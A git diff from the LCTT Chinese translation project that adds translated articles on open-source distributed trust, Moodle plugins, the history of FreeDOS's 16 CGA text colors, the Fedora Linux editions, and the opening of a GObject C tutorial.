的推荐和技能与个人档案中的认可部分)。从这些例子中可以获得的利益因网络效应而大大增加,因为随着成员数量的增加,成员之间可能的联系数量也成倍增加。 + +分布式信任的例子还包括像 Twitter 这样的平台,一个账户的追随者数量可以被视为衡量其声誉,甚至是衡量其可信度的标准,我们应该以强烈的怀疑态度去看待这种计算。事实上,Twitter 认为它必须解决拥有大量追随者的账户的社会力量问题,并建立了一个为 “验证账户” 机制,让人们知道 “一个具有公共利益的账户是真实的”。但是有趣的是,该公司不得不暂停这项服务,因为用户对 “验证” 的确切含义或暗示的期望出现了问题:这就是不同群体之间对内容理解不同的典型案例。 + +那么,开源的相关性在哪里呢?开源的社区方面实际上就是建立分布式信任的一个驱动力。因为一旦你成为一个开源项目周围社区的一部分,你就会承担一个或多个角色,一旦你说你 “信任” 一个开源项目,你就会开始信任这些角色(见我之前的文章)。例如,架构师、设计师、开发人员、审查人员、技术写作、测试人员、部署人员、错误报告者或错误修复者。你对一个项目的参与越多,你就越是社区的一部分,久而久之,这就可以成为一个 “实践社区community of practice”。 + +Jean Lave 和 Etienne Wenger 在[《情境学习:正当的外围参与》][4]Situated Learning: Legitimate Peripheral Participation一书中提出了实践社区的概念,团体在成员热情分享和参与共同活动的过程中演变成社区,导致他们的技能和知识共同提高。这里的核心概念是:当参与者围绕实践社区进行学习时,他们同时也成为社区的成员。 + +> “正当的的外围参与既指在实践中知识技能身份的发展,也指实践社区的再生产和转化。” + +Wenger 在 [《实践社区:学习、意义和身份》][5]Communities of Practice: Learning, Meaning, and Identity 中进一步探讨了实践社区的概念:它们如何形成、对其健康的要求,以及它们如何鼓励学习。他认为,意义的可协商性(“我们为什么要一起工作,我们要实现什么?”)是实践社区的核心,并指出,如果没有个人的参与、想象力和一致性,实践社区将不会有活力。 + +我们可以把这一点与我们对分布式信任如何建立和构建的看法结合起来:当你意识到你对开源的影响可以与其他人的影响相同时,你对社区成员的分布式信任关系就变得不那么具有传递性(第二或第三手甚至更遥远),而是更加直接。你明白,你对你所运行的软件的创建、维护、需求和质量所能产生的影响,可以与所有其他以前匿名的贡献者一样,你现在正在与他们形成一个实践社区,或者你正在加入他们的现有实践社区。然后,你就会成为一个信任关系网络的一部分,这个网络是分布式的,但与你购买和操作专利软件时的经历相差不大。 + +这个过程并不会停止:因为开源项目的一个共同属性是“交叉授粉”,即一个项目的开发者也在其他项目上工作。由于多个开源项目之间的网络效应,使得对其他项目的重用和依赖性上升,导致整个项目的吸收量增加。 + +这就很容易理解为什么许多开源贡献者会成为开源爱好者或传道者,不仅仅是为单个项目,而是为整个开源项目。事实上,斯坦福大学社会学家 [Mark Granovetter][6] 的工作表明,社区内太多的强关系会导致小团体和停滞不前,但弱关系会使思想和趋势在社区内流动。这种对其他项目和围绕它们存在的社区的认识,以及想法在项目间的灵活性,导致分布式信任能够被扩展(尽管保证比较弱),超越贡献者在他们有直接经验的项目中所经历的直接或短链间接关系,并向其他项目扩展,因为外部观察或外围参与显示贡献者之间存在类似关系。 + +简单地说,参与开源项目并通过参与建立信任关系的行为会导致对类似的开源项目或只是对其他类似的开源项目产生更强的分布式信任。 + +这对我们每个人来说意味着什么?它意味着我们越是参与开源,我们对开源的信任度就越高,而其他人对开源的参与度也会相应提高,从而对开源的信任度也会提高。对开源的信任不仅仅是一个网络效应:它是一个正反馈循环! + +* * * + +_本文最初发表于 [Alice, Eve, and Bob][7],经作者许可转载。_ + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/1/open-source-distributed-trust + +作者:[Mike Bursell][a] +选题:[lujun9972][b] +译者:[MareDevi](https://github.com/MareDevi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/mikecamel +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_trust.png?itok=KMfi0Rdo (Trust) +[2]: https://wiley.com/ +[3]: https://aliceevebob.com/2019/06/18/trust-choosing-open-source/ +[4]: https://books.google.com/books/about/Situated_Learning.html?id=CAVIOrW3vYAC +[5]: https://books.google.com/books?id=Jb8mAAAAQBAJ&dq=Communities%20of%20Practice:%20Learning,%20meaning%20and%20identity&lr= +[6]: https://en.wikipedia.org/wiki/Mark_Granovetter +[7]: https://aliceevebob.com/2020/11/17/how-open-source-builds-distributed-trust/ diff --git a/published/202209/20210305 5 useful Moodle plugins to engage students.md b/published/202209/20210305 5 useful Moodle plugins to engage students.md new file mode 100644 index 0000000000..f07301d105 --- /dev/null +++ b/published/202209/20210305 5 useful Moodle plugins to engage students.md @@ -0,0 +1,107 @@ +[#]: subject: (5 useful Moodle plugins to engage students) +[#]: via: (https://opensource.com/article/21/3/moodle-plugins) +[#]: author: (Sergey Zarubin https://opensource.com/users/sergey-zarubin) +[#]: collector: (lujun9972) +[#]: translator: (MareDevi) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15042-1.html) + +5 款可以吸引学生的有用的 Moodle 插件 +====== + +> 使用插件来赋予你的在线学习平台新的功能来激励学生。 + +![](https://img.linux.net.cn/data/attachment/album/202209/18/165423pkiq74kwzokqzoq7.jpg) + +无论在哪里,优秀的在线学习平台对于教育都非常重要。教师们需要一种途径来开办课堂,学生们需要一个友好的用户界面来促进学习,而管理者也需要一种方法来监控教育系统的有效性。 + +Moodle 是一个开源的软件包,允许你创建一个带有互动在线课程的私人网站。它可以帮助人们进行虚拟的在线聚会,互相教授和学习,并在此过程中保持井井有条。 + +Moodle 的独特之处在于它的该可用性,利用第三方解决方案可以显著提高可用性。如果你访问 [Moodle 插件目录][2],你将会找到超过 1,700 种由开源社区开发的插件。 + +面对如此多的选择,为你的学员挑选出最好的插件可能是一个挑战。为了帮助你开始,这里是我挑选出来的五大插件,你可以将其添加到你的在线学习平台。 + +### Level up! + +![Level up Moodle 插件][3] + +> **[Level up! 官网](https://levelup.plus/)** + +激励和吸引学习者是教育工作者最困难的任务之一。[Level up! 插件][4] 允许你将学习体验游戏化,将积分分配给完成任务的学生,并显示进度和等级提升。这会鼓励你的学生在健康的氛围中竞争,并成为一个很好的学习者。 + +另外,你可以完全控制学生所获得的积分,并且他们可以在达到一定等级的时候解锁内容。所有的这些功能都是免费提供的。如果你考虑付费,你可以购买一些额外的功能,如个人奖励和团队排行榜。 + +### BigBlueButton + +![BigBlueButton Moodle 插件][5] + + +> **[BigBlueButton 官网](https://bigbluebutton.org/)** + +[BigBlueButton][6] 可能是最知名的 Moodle 插件。这个开源的视频会议解决方案使得教育者能够让学生远程参与实时在线课程和小组协作活动。它提供了一些重要的功能,例如:实时屏幕共享、音视频通话、聊天,发送表情和分组讨论室。这款插件还可以让你记录你的直播课程。 + +BigBlueButton 让你能够在任何课程中创建多个活动链接、限制你的学生在你加入之前加入会话、创建自定义欢迎消息、管理你的录音等等。总而言之,BigBlueButton 拥有你教授和参与在线课程所需要的一切。 + +### ONLYOFFICE + +![ONLYOFFICE Moodle 插件][7] + +> **[ONLYOFFICE 官网](https://www.onlyoffice.com/)** + +[ONLYOFFICE 插件][8] 允许学习者和教育者在他们的浏览器中直接创建和编辑文本文档、电子表格和演示文档。无需安装任何额外的应用程序,他们就可以处理附在课程中的 .docx、.xlsx、.pptx、.txt 和 .csv 文件;打开 .pdf 文件进行查看;并应用复杂格式和对象,包括自动形状、表格、图表、方程式等等。 + +此外,ONLYFFICE 使得实时共同编辑文件成为可能,这意味着几个用户可以同时在同一个文件上工作。不同的权限(完全访问、评论、审查、只读和填表)使你更容易灵活地管理对文档的访问。 + +### Global Chat + +![Global Chat Moodle 插件][9] + +> **[Global Chat 官网](https://moodle.org/plugins/block_gchat)** + +[Global Chat 插件][10] 允许教育者和学习者通过 Moodle 进行实时交流。该插件提供了你课程中所有用户的列表,当你点击一个用户的名字时,它会在页面底部打开一个聊天窗口,以便你们进行交流。 + +有了这个易于使用的工具,你不需要打开一个单独的窗口来开始在线对话。你可以在网页之间转换,而你的对话将始终保持开放。 + +### Custom certificate + +![Custom certificate Moodle 插件][11] + +> **[Custom certificate 官网](https://moodle.org/plugins/mod_customcert)** + +另一个吸引学生的有效方法是提供证书作为完成课程的奖励。颁发结业证书的承诺有助于保持学生的进度和对培训的承诺。 + +[Custom certificate 插件][12] 允许你在你的网页浏览器中生成完全可定制的 PDF 证书。重要的是,该插件与 GDPR 要求兼容,而且证书有独特的验证码,所以你可以用它们进行真实认证。 + +### 更多丰富的 Moodle 插件 + +这些是我最喜欢的五个 Moodle 插件。你可以通过在 Moodle.org 上 [注册一个账户][13] 来试用它们,或者你可以托管你自己的插件(或者与你的系统管理员或 IT 人员商量,为你设置一个托管环境)。 + +如果这些插件不符合你的学习目标,可以看看其他可用的插件。如果你找到一个好的插件,请留下评论并告诉大家。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/3/moodle-plugins + +作者:[Sergey Zarubin][a] +选题:[lujun9972][b] +译者:[MareDevi](https://github.com/MareDevi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/sergey-zarubin +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/read_book_guide_tutorial_teacher_student_apaper.png?itok=_GOufk6N (阅读书籍的人和数字拷贝) +[2]: https://moodle.org/plugins/ +[3]: https://opensource.com/sites/default/files/uploads/gamification.png (Level up Moodle 插件) +[4]: https://moodle.org/plugins/block_xp +[5]: https://opensource.com/sites/default/files/uploads/bigbluebutton.png (BigBlueButton Moodle 插件) +[6]: https://moodle.org/plugins/mod_bigbluebuttonbn +[7]: https://opensource.com/sites/default/files/uploads/onlyoffice_editors.png (ONLYOFFICE Moodle 插件) +[8]: https://github.com/logicexpertise/moodle-mod_onlyoffice +[9]: https://opensource.com/sites/default/files/uploads/global_chat.png (Global Chat Moodle 插件) +[10]: https://moodle.org/plugins/block_gchat +[11]: https://opensource.com/sites/default/files/uploads/certificate.png (Custom certificate Moodle 插件) +[12]: https://moodle.org/plugins/mod_customcert +[13]: https://moodle.com/getstarted/ diff --git a/published/202209/20210617 Why FreeDOS has 16 colors.md b/published/202209/20210617 Why FreeDOS has 16 colors.md new file mode 100644 index 0000000000..c7cfd3d318 --- /dev/null +++ b/published/202209/20210617 Why FreeDOS has 16 colors.md @@ -0,0 +1,161 @@ +[#]: subject: (Why FreeDOS has 16 colors) +[#]: via: (https://opensource.com/article/21/6/freedos-sixteen-colors) +[#]: author: (Jim Hall https://opensource.com/users/jim-hall) +[#]: collector: (lujun9972) +[#]: translator: (gpchn) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15054-1.html) + +FreeDOS 的 16 种颜色的由来 +====== + +> 为什么文本只能使用这些有限的颜色显示,为什么 FreeDOS 使用这些颜色和阴影,而不是其他颜色?答案就像技术中的许多事情一样,历史原因。 + +![](https://img.linux.net.cn/data/attachment/album/202209/21/171602vhhj99xkxshxbbvk.jpg) + +如果你仔细了解过 FreeDOS,你可能已经注意到文本使用有限的颜色范围 —— 16 种文本颜色和 8 种背景颜色。这类似于 Linux 显示文本颜色的方式 —— 你或许能够在 Linux 终端中更改 _文本颜色_,但你仍然只能使用 16 种文本颜色和 8 种背景颜色。 + +![终端颜色][2] + +*DOS 文本有 16 种颜色和 8 种背景颜色(吉姆·霍尔,[CC-BY SA 4.0][3])* + +为什么文本只能使用这些有限的颜色显示,为什么 FreeDOS 使用这些颜色和阴影,而不是其他颜色? + +答案就像技术中的许多事情一样,历史原因。 + +### PC 色彩的由来 + +为了解释为什么文本只有 16 种颜色,让我给你讲一个关于第一台 IBM 个人计算机的故事。这个故事的部分内容可能有些杜撰,但基本内容已经足够接近。 + +IBM 于 1981 年发布了个人计算机Personal Computer 5150(“IBM PC”)。该 PC 使用了一个简单的监视器屏幕,以绿色显示文本。由于此显示器仅适用于一种颜色,因此被称为 单色monochrome(“IBM 5151 单色显示器”,搭载 IBM 单色显示适配器Monochrome Display Adapter,即 MDA)。 + +同年,IBM 发布了 PC 的更新版本,带来了惊人的技术成就 —— 颜色!新的 IBM 5153 彩色显示器依赖于新的 IBM 彩色图形适配器Color Graphics Adapter(CGA)。正是由于这个原始的 CGA,所有的 DOS 文本都继承了它们的颜色。 + +但在我们讨论那一部分之前,我们首先需要了解一些关于颜色的东西。当我们谈论计算机屏幕上的颜色时,我们谈论的是混合 _三原色_(红色、绿色和蓝色)的不同值。你可以将不同级别(“亮度”)的红光、绿光和蓝光混合在一起,以创建几乎任何颜色。混合红色和蓝色光,你会得到洋红色。混合蓝色和绿色,你会得到青色或浅绿色。均匀地混合所有颜色,你会得到白色。没有任何浅色,你会看到黑色(没有颜色)。 + +![三原色][4] + +*混合红色、绿色和蓝色光以获得不同的颜色(吉姆·霍尔,[CC-BY SA 4.0][3])* + +IBM 5153 彩色显示器通过在阴极射线管cathode ray tube(CRT)上点亮微小的红色、绿色和蓝色光点来向用户呈现颜色。这些小点排列得非常紧密,并以红色、绿色和蓝色的三色点组成一个“像素”的模式排列。通过控制同时点亮哪些荧光点,IBM 5153 彩色显示器可以显示不同颜色的像素。 + +![CRT 像素][5] + +*每个红色、绿色和蓝色三元组都是一个像素(吉姆·霍尔,[CC-BY SA 4.0][3])* + +顺便说一句,即使是现代显示器也使用这种红色、绿色和蓝色点的组合来表示颜色。现代计算机的不同之处在于,每个像素都使用红色、绿色和蓝色 LED 灯(通常并排排列),而不是微小的荧光点。计算机可以打开或关闭每个 LED 灯,以混合每个像素中的红色、绿色和蓝色。 + +![液晶像素][6] + +*每个红色、绿色和蓝色三元组都是一个像素(吉姆·霍尔,[CC-BY SA 4.0][3])* + +### 定义 CGA 颜色 + +IBM 工程师意识到他们可以通过混合红色、绿色和蓝色像素来显示多种颜色。在最简单的情况下,你可以假设单个像素中的每个红色、绿色和蓝色点要么“开”,要么“关”。正如任何计算机程序员都会告诉你的那样,你可以将“开”和“关”表示为二进制 —— 1(1 = 开)和 0(0 = 关)。 + +用 1 或 0 表示红色、绿色和蓝色意味着你可以组合多达八种颜色,从 000(红色、绿色和蓝色都关闭)到 111(红色、绿色和蓝色都打开)。请注意,位模式类似于“RGB”,因此 RGB=001 是蓝色的(只有蓝色是打开的),RGB=011 是青色的(绿色和蓝色都打开了): + +| 颜色 | 代码 | 名称 | +| --- | --- | --- | +|   | 000 | 黑 | +|   | 001 | 蓝 | +|   | 010 | 绿 | +|   | 011 | 青 | +|   | 100 | 红 | +|   | 101 | 洋红 | +|   | 110 | 黄 | +|   | 111 | 白 | + +但这只是最简单的情况。一位特别聪明的 IBM 工程师意识到,只需再添加一点,你就可以将颜色数量从 8 种颜色增加到 16 种。因此,我们可以使用像 iRGB 这样的位模式,而不是像 RGB 这样的位模式。我们将把这个额外的“i”位称为“强度”位,因为如果我们将“强度”位设置为 1(开),那么我们将在全亮度下点亮红色、绿色和蓝色;如果“强度”位为 0(关闭),我们可以使用一些中级亮度。 + +有了这个简单的修复程序,现在 CGA 可以显示 16 种颜色!为了简单起见,IBM 工程师将高强度颜色称为常规颜色名称的“明亮”版本。因此,“红色”与“亮红色”配对,“洋红色”与“亮洋红色”配对。 + +| 颜色 | 代码 | 名称 | 颜色 | 代码 | 名称 | +| :----: | :----: | :----: | :----: | :----: | :----: | +|   | 0000 | 黑 |   | 1000 | 亮黑 | +|   | 0001 | 蓝 |   | 1001 | 亮蓝 | +|   | 0010 | 绿 |   | 1010 | 亮绿 | +|   | 0011 | 青 |   | 1011 | 亮青 | +|   | 0100 | 红 |   | 1100 | 亮红 | +|   | 0101 | 洋红 |   | 1101 | 亮洋红 | +|   | 0110 | 黄 |   | 1110 | 亮黄 | +|   | 0111 | 白 |   | 1111 | 亮白 | + +哦不,等等!这实际上不是十六种颜色。如果你注意到 iRGB=0000(黑色)和 iRGB=1000(亮黑色),它们都是相同的 _黑色_。没有颜色可以“亮”,所以它们都是普通的黑色。这意味着我们只有 15 种颜色,而不是我们希望的 16 种颜色。 + +但 IBM 有聪明的工程师为他们工作,他们意识到如何解决这个问题以获得 16 种颜色。IBM 实际上没有实现直接的 RGB 到 iRGB,而是实现了 _类_ iRGB 方案。随着这一变化,IBM 为每个光点设置了四个亮度级别:完全关闭、三分之一亮度、三分之二亮度和全亮度。如果“亮度”位被关闭,那么每个红色、绿色和蓝色光点将以三分之二的亮度点亮。如果你打开“亮度”位,RGB 颜色中的所有 0 都将以三分之一的亮度点亮,而所有 1 都将以全亮度点亮。 + +让我用另一种方式向你描述这一点,使用 Web 颜色代码表示。如果你熟悉 HTML 颜色,你可能知道你可以使用 `#RGB` 表示颜色,其中 RGB 表示红色、绿色和蓝色值的组合,每个值都在十六进制值 0 到 F 之间。因此,使用 IBM 修改后的 iRGB 定义,iRGB=0001 是 #00a(蓝色),iRGB=1001 是 #55f(亮蓝色),因为对于高亮度颜色,RGB=001 中的所有零点都以三分之一的亮度点亮(0 到 F 刻度上的“5”左右),RGB=001 中的所有零点都以三分之二的亮度点亮(0 到 F刻度上的“A”)。 + +| 颜色 | 代码 | 名称 | 颜色 | 代码 | 名称 | +| :----: | :----: | :----: | :----: | :----: | :----: | +|   | 0000 | 黑 |   | 1000 | 亮黑 | +|   | 0001 | 蓝 |   | 1001 | 亮蓝 | +|   | 0010 | 绿 |   | 1010 | 亮绿 | +|   | 0011 | 青 |   | 1011 | 亮青 | +|   | 0100 | 红 |   | 1100 | 亮红 | +|   | 0101 | 洋红 |   | 1101 | 亮洋红 | +|   | 0110 | 黄 |   | 1110 | 亮黄 | +|   | 0111 | 白 |   | 1111 | 亮白 | + +有了这些颜色,我们终于完成了!我们拥有从 iRGB=0000(黑色)到 iRGB=1111(亮白色)以及介于两者之间的所有颜色的全光谱。就像彩虹般的颜色,这很漂亮。 + +除了……不,等等,这里有问题!我们实际上还不能复制彩虹的所有颜色。我们在小学学到的方便的助记符是 ROYGBIV,它可以帮助我们记住彩虹的颜色有红色、橙色、黄色、绿色、蓝色、靛蓝和紫色。我们修改后的 iRGB 配色方案包括红色、黄色、绿色和蓝色——我们可以将其“伪造”为靛蓝和紫色,但是我们缺少橙色。遭了! + +![彩虹][7] + +*一条美丽的彩虹——不幸的是它含有橙色。([Paweł Fijałkowski][8],公共)* + +为了解决这个问题,聪明的 IBM 工程师对 RGB=110 做了最后的修复。高强度颜色(iRGB=1110)以全亮度点亮红色和绿色荧光粉点以产生黄色,但是在低亮度颜色(iRGB=0110)下,他们以三分之二的亮度点亮红色,以三分之一的亮度点亮绿色。这将 iRGB=0110 变成了橙色——尽管它后来被称为“棕色”,因为 IBM 不得不在某处弄乱标准名称。 + +| 颜色 | 代码 | 名称 | 颜色 | 代码 | 名称 | +| :----: | :----: | :----: | :----: | :----: | :----: | +|   | 0000 | 黑 |   | 1000 | 亮黑 | +|   | 0001 | 蓝 |   | 1001 | 亮蓝 | +|   | 0010 | 绿 |   | 1010 | 亮绿 | +|   | 0011 | 青 |   | 1011 | 亮青 | +|   | 0100 | 红 |   | 1100 | 亮红 | +|   | 0101 | 洋红 |   | 1101 | 亮洋红 | +|   | **0110** | **棕** |   | 1110 | 黄 | +|   | 0111 | 白 |   | 1111 | 亮白 | + +这就是 CGA 以及扩展的 DOS 获得十六种颜色的方式!如果你好奇,这也是为什么会有“亮黑色”的原因,即使它只是一种灰色阴影。 + +### 表示颜色(位和字节) + +但是你可能想知道:为什么 DOS 可以显示 16 种文本颜色,却只能显示 8 种背景颜色?为此,我们需要快速了解计算机如何将颜色信息传递给 CGA 卡。 + +简而言之,CGA 卡希望将每个字符的文本颜色和背景颜色编码在一个字节数据包中,一共八位。那么八位是从哪里来的呢? + +我们刚刚了解了 iRGB(四位)如何生成十六种颜色。文本颜色使用 iRGB ,四位,背景颜色仅限于八种低强度颜色(RGB,三位),加起来只有七位。丢失的第八位在哪里? + +最后一个位可能是为 DOS 时代最重要的用户界面元素保留的 —— 闪烁文本。虽然闪烁的文本在如今可能很烦人,但在整个 1980 年代初期,闪烁的文本是表示错误消息等关键信息的友好方式。 + +将这个“闪烁”位添加到三个背景颜色位(RGB)和四个文本颜色位(iRGB)中会产生八个位或一个字节!计算机喜欢以完整字节为单位进行计数,这使其成为将颜色(和闪烁)信息传输到计算机的便捷方式。 + +因此,表示颜色(和闪烁)的完整字节是 `Bbbbffff`,其中 `ffff` 是文本颜色的 iRGB 位模式(从 0 到 15),`bbb` 是低强度的 RGB 位模式背景颜色(从 0 到 7),而 `B` 是“闪烁”位。 + +十六种文本颜色和八种背景颜色的限制一直持续到今天。当然,DOS 坚持使用这种颜色组合,但即使是像 GNOME 终端这样的 Linux 终端仿真器也仍然受限于 16 种文本颜色和 8 种背景颜色。当然,Linux 终端可能允许你更改使用的特定颜色,但你仍然限于十六种文本颜色和八种背景颜色。为此,你要感谢 DOS 和最初的 IBM PC。别客气! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/freedos-sixteen-colors + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[gpchn](https://github.com/gpchn) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/1980s-computer-yearbook.png?itok=eGOYEKK- (Person typing on a 1980's computer) +[2]: https://opensource.com/sites/default/files/uploads/16colors.png (DOS text comes in 16 colors and 8 background colors) +[3]: https://creativecommons.org/licenses/by-sa/4.0/ +[4]: https://opensource.com/sites/default/files/uploads/rgb.svg_.png (Mix red, green, and blue light to get different colors) +[5]: https://opensource.com/sites/default/files/uploads/crt.svg_.png (Each red, green, and blue triad is a single pixel) +[6]: https://opensource.com/sites/default/files/uploads/lcd.svg_.png (Each red, green, and blue triad is a single pixel) +[7]: https://opensource.com/sites/default/files/uploads/rainbow.jpg (A beautiful rainbow - which unfortunately contains orange ) +[8]: https://www.pexels.com/photo/landscape-photography-of-field-with-wind-mill-with-rainbow-1253748/ diff --git a/published/202209/20211203 Introduce the different Fedora Linux editions.md b/published/202209/20211203 Introduce the different Fedora Linux editions.md new file mode 100644 index 0000000000..fcd24a192f --- /dev/null +++ b/published/202209/20211203 Introduce the different Fedora Linux editions.md @@ -0,0 +1,91 @@ +[#]: subject: "Introduce the different Fedora Linux editions" +[#]: via: "https://fedoramagazine.org/introduce-the-different-fedora-linux-editions/" +[#]: author: "Arman Arisman https://fedoramagazine.org/author/armanwu/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15003-1.html" + +Fedora Linux 的各种版本 +====== + +![Introduce the differenct Fedora Linux editions][1] + +我们在使用 Fedora Linux 时有不同的偏好。例如,有些人选择 Fedora Linux,是因为 Fedora Workstation 默认使用 GNOME 作为其桌面环境。但也有一些人想使用 Fedora Linux 但想使用不同的桌面环境。或者也有一些人使用 Fedora Linux 有特定的需求,但不想被系统配置和应用安装所困扰。甚至有些人想根据自己的需要自由安装 Fedora Linux。因此 Fedora Linux 根据你的需要提供了多个版本。本文将介绍不同的 Fedora Linux 版本。 + +### Fedora 官方版本 + +我们从 Fedora Linux 的 官方版本Edition 开始,即 Fedora Workstation、Fedora Server 和 Fedora IoT。 Fedora Workstation 是 Fedora Linux 的官方版本,可以安装在笔记本电脑和台式电脑上。此版本附带 GNOME 作为默认桌面环境和各种标准应用,因此 Fedora Linux 已为日常使用做好准备。而 Fedora Server 专门用于服务器用途,提供邮件服务器、DNS 等的安装。最后一个是 Fedora IoT,用于物联网和边缘设备生态系统。 + +在 Fedora 项目网站主页上,你可以找到另外两个版本:Fedora CoreOS 和 Fedora Silverblue。Fedora CoreOS 是一个自动更新的操作系统,旨在安全、大规模地运行容器化工作负载。而 Fedora Silverblue 是一个不可变的桌面操作系统,旨在支持以容器为中心的工作流。 + +![Introduce the different Fedora Linux editions: Fedora Workstation][4] + +更多信息可在此链接获得: + +> **[https://getfedora.org/][5]** + +### Fedora 定制版:可选桌面 + +Fedora 定制版Spin 很受那些非常在意桌面外观的人的欢迎。大多数人都知道 Fedora Linux 只有 GNOME 作为默认桌面环境。即使你真的想使用 GNOME 以外的桌面环境,也有几个替代桌面选项。使用 Fedora 定制版,你可以在安装 Fedora Linux 时立即获得你最喜欢的桌面环境。你可以从 KDE Plasma、XFCE、LXQt、MATE、Cinnamon、LXDE 和 SoaS 中进行选择。此外,对于喜欢平铺窗口管理器的人,Fedora Linux 还提供了 Fedora i3 定制版,其中 i3 作为默认窗口管理器,并附带了几个标准应用。 + +![Introduce the different Fedora Linux editions: Fedora Plasma][6] + +![Introduce the different Fedora Linux editions: Fedora Cinnamon][7] + +更多信息可在此链接获得: + +> **[https://spins.fedoraproject.org/][8]** + +### Fedora 实验室:功能包 + +Fedora 实验室Lab 是根据特定需求打包的 Fedora Linux 软件包集合。因此,这些版本的安装包都根据其功能提供了应用和必要的内容。Fedora 实验室提供多种软件包选择,例如天文学Astronomy计算神经学Comp Neuro设计套件Design Suite游戏Games、JAM、Python 教室Python Classroom安全实验室Security Lab机器人套件Robotics Suite科学Scientific。如果你想使用 Fedora Linux 进行设计工作,那么设计套件是你的正确选择。但是如果你喜欢玩游戏,你可以选择游戏版。 + +![Introduce the different Fedora Linux editions: Fedora Design Suite][9] + +![Introduce the different Fedora Linux editions: Fedora Games][10] + +更多信息可在此链接获得: + +> **[https://labs.fedoraproject.org/][11]** + +### Fedora 的其它下载 + +Fedora 的其它下载Alt Download 集合了特定目的的可选 Fedora Linux 安装程序,例如用于测试或用于特定架构。还有其他可选格式,例如网络安装程序或种子下载等格式。在这里你可以找到网络安装程序Network Installer种子下载Torrent Downloads可选架构Alternative Architectures云基础镜像Cloud Base Images所有内容Everything测试镜像Testing Images 和 Rawhide。 + +更多信息可在此链接获得: + +> **[https://alt.fedoraproject.org/][12]** + +### 总结 + +你可以自由选择适合你偏好的 Fedora Linux 版本,而不是官方版本。但是,如果你想获得具有各种桌面外观的 Fedora Linux,那么 Fedora 定制版适合你。如果你希望 Fedora Linux 根据你的需要包含应用和软件包,你可以选择 Fedora 实验室。但是,如果你是专家并且想要更自由地安装 Fedora Linux,你可以在 Fedora 其它下载处浏览替代选项。希望本文可以帮助你选择合适的 Fedora Linux,并请在评论中分享你使用 Fedora Linux 的经验。 + +(题图由 [Frédéric Perez][2] 发布在 [Unsplash][3]) + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/introduce-the-different-fedora-linux-editions/ + +作者:[Arman Arisman][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/armanwu/ +[b]: https://github.com/lkxed +[1]: https://fedoramagazine.org/wp-content/uploads/2021/11/FedoraMagz-FedoraEditions-Intro-816x345.png +[2]: https://unsplash.com/@fredericp?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/blue-abstract?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://fedoramagazine.org/wp-content/uploads/2021/11/g-monitor-overview.png +[5]: https://getfedora.org/ +[6]: https://fedoramagazine.org/wp-content/uploads/2021/11/screenshot-kde-1024x640.jpg +[7]: https://fedoramagazine.org/wp-content/uploads/2021/11/screenshot-cinnamon-1024x576.jpg +[8]: https://spins.fedoraproject.org/ +[9]: https://fedoramagazine.org/wp-content/uploads/2021/11/Fedora-Design-1024x792.png +[10]: https://fedoramagazine.org/wp-content/uploads/2021/11/Fedora-Games-1024x792.png +[11]: https://labs.fedoraproject.org/ +[12]: https://alt.fedoraproject.org/ diff --git a/published/202209/20220505 Boost the power of C with these open source libraries.md b/published/202209/20220505 Boost the power of C with these open source libraries.md new file mode 100644 index 0000000000..22ebb3c779 --- /dev/null +++ b/published/202209/20220505 Boost the power of C with these open source libraries.md @@ -0,0 +1,322 @@ +[#]: subject: "Boost the power of C with these open source libraries" +[#]: via: "https://opensource.com/article/22/5/libsoup-gobject-c" +[#]: author: "Joël Krähemann https://opensource.com/users/joel2001k" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: " wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15065-1.html" + +使用开源库 GObject 和 libsoup 提升 C 语言编程能力 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/24/145218s1s1xk6s1mm2kg1x.jpg) + +> 开源库 GObject 和 libsoup 做了很多工作,因此你可以专注于使用 C 语言开发神奇的应用。 +[GLib 对象系统][2]Object System(GObject)是一个为 C 语言提供灵活且可扩展的面向对象框架的库。在这篇文章中,我将使用该库的 2.4 版本进行演示。 + +GObject 库继承了 ANSI C 标准,拥有一些常见的数据类型,例如: + +* `gchar`:字符型 +* `guchar`:无符号字符型 +* `gunichar`:32 位定宽 Unicode 字符型 +* `gboolean`:布尔型 +* `gint8`、`gint16`、`gint32`、`gint64`:有符号 8、16、32 和 64 位整数 +* `guint8`、`guint16`、`guint32`、`guint64`:无符号 8、16、32 和 64 位整数 +* `gfloat`:IEEE 754 标准单精度浮点数 +* `gdouble`:IEEE 754 标准双精度浮点数 +* `gpointer`:泛指针 + +### 函数指针 + +GObject 库还引入了类和接口的类型和对象体系。之所以可以,是因为 ANSI C 语言可以理解函数指针。 + +你可以这样做来声明函数指针: + +``` +void (*my_callback)(gpointer data); 